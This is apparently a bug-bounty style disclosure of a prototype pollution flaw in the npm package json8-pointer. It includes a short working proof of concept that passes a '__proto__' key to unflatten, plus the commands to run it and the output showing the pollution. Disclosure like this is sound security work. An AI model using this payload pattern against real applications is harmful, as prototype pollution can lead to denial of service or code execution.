Prototype Pollution in sonnyp/json8


Reported on

Oct 22nd 2020


json8-pointer is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var json8Pointer = require("json8-pointer")
json8Pointer.unflatten({"": {},"/firstName": "John", "/__proto__/polluted": "Yes! Its Polluted"});
  1. Execute the following commands in another terminal:
npm i json8-pointer # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Yes! Its Polluted
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